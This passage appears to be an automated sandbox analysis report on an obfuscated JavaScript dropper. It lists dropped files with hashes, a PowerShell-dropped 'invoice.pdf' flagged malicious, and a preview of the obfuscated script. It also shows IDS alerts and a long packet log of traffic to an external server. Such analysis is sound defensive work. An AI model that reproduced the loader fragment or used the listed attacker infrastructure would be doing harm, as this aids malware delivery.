Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fbe628d1-43b2-4720-89fe-54f77192fe00.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VR9WL07oXGZnYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tR9WLxXGZnZGh3mlind9i4ufFXpAXkru
MD5:	9D85D4B75E446857CE3D750299B2AF1A
SHA1:	3CD9576D0A07B9E4454F4FF4DDF8D18EFBB764B4
SHA-256:	D3C44F50FD2912C92DAF009689B221515709E00C839A8DA425078C96F2D6053A
SHA-512:	1C63A091EF404FC446F1A789D33258FE9F6AD25C80375CADADF0829BC5DCD70A16A8E30E664D0A02F39E7A3D10B9E56AD7F9CA9D733A877726C1DD043B14842F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17737), with CRLF line terminators
Entropy (8bit):	4.914426371564606
TrID:
File name:	7503204021179918537.js
File size:	21'140 bytes
MD5:	7632ed602e00e5215b2713cfaa622c7c
SHA1:	6cda4efe194288f4617390dea25b26755ea8b1de
SHA256:	151a81ee46cd605268b8e3793a21a90fe62c0f7788a3aa4d83d58a51d596c714
SHA512:	cfcc9147e647da7169fbe452c3027c2ad866ef0524ff164efc2311314dbe117384eb481eb8fde6d148fbca1d0b1f6546b57cd9fc3f3a22716028929749a280e4
SSDEEP:	384:1/1kMcaRCcBBwucBByBLC0NGYML7goXHE8YpjUrlRrBUMOf9TgQ0/:tJBBKBByxN7MLbXHEhMlRrBUTfK7/
TLSH:	2F9243D0EA952F9F9AC1DAF8A5DC160227F826C84A1D6FC5A944089D19ABC3D7DF0334
File Content Preview:	function zlpelqs(){efhcdu=[1031,3079,5127,4103,2055,3072];var hntcaz=this[sywkfmcr+xoitj+xyxrjkpyr+gcuiftt+xafqwk+nctnntq+mlntv+kpvhk](this[gvtvzhyy+zchcswmx+qrlfqtta+xyxrjkpyr+foohqf+sywkfmcr+kpvhk][arjiqt+xyxrjkpyr+xafqwk+xoitj+kpvhk+xafqwk+yduwbjp+qaqd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:58:26.130156+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-10T17:58:29.613901+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:58:25.310295105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:25.315179110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:25.315258980 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:25.367158890 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:25.372176886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130033016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130105972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130116940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130127907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130140066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130151987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130156040 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.130163908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130175114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130187035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130198956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.130203009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.130291939 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.135102034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.135113955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.135164976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.184293985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.184308052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.184406042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.254951954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.254965067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.254975080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.255095005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.255285025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.255296946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.255307913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.255326033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.255338907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.255373001 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.255373001 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.255415916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.256038904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256051064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256061077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256072044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256083965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256124973 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.256124973 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.256856918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256866932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256877899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256932020 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.256932020 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.256937981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.256947994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.257045984 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.257757902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.257767916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.257777929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.257997990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.301611900 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.317848921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.317863941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.317925930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.358922958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.358942986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.358956099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.359106064 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.379576921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.379602909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.379617929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.379631996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.379645109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.379657030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.379669905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.379714012 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.379827023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.380004883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.380017996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.380031109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.380040884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.380053043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.380055904 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.380085945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.380099058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.380134106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.380134106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.381047964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.381063938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.381074905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.381087065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.381099939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.381110907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.381113052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.381123066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.381170034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.381170034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.381985903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.381999016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382010937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382023096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382034063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382045031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382057905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382092953 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.382092953 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.382841110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382860899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382874012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382884979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382890940 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.382896900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382908106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382924080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.382946014 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.382972002 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.382972002 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.383899927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.383912086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.383924007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.383980036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.384897947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.391527891 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.415096045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.415112019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.415122986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.415134907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.415241003 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.448987007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.449007988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.449974060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.483284950 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.483299971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.483319044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.483330965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.483345985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.483355045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.483407021 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.483535051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.503915071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.503927946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.503937960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.503950119 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.503962040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.503974915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.503984928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.504028082 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.504157066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504168034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504215956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504219055 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.504306078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504317999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504370928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.504483938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504560947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504574060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504585028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504616022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.504730940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504744053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504755974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504767895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504776001 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.504781008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.504805088 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.504865885 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.505083084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505095959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505152941 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.505161047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505172968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505189896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505208969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505222082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505234003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505239964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.505245924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505258083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505270958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505276918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.505276918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.505319118 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.505949020 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505961895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505980015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.505991936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506000996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506015062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506021023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.506026983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506041050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506056070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506068945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506077051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.506077051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.506079912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506120920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.506120920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.506906033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506918907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506931067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506943941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506956100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506968021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506980896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506993055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.506994009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.506994009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.507004976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.507005930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.507015944 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.507030010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.507055044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.507703066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.507781029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.507807016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.516578913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.522768021 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.539223909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.539247990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.539258003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.539268970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.539280891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.539324045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.539336920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.573708057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.573723078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.573734999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.573807001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.573827028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.573842049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.573853016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.573865891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.573868990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.573868990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.573915005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.573915005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.573971987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.574161053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.574172974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.574270964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.594360113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594384909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594397068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594408035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594419003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594424963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594436884 CET	80	49705	193.143.1.205	192.168.2.5
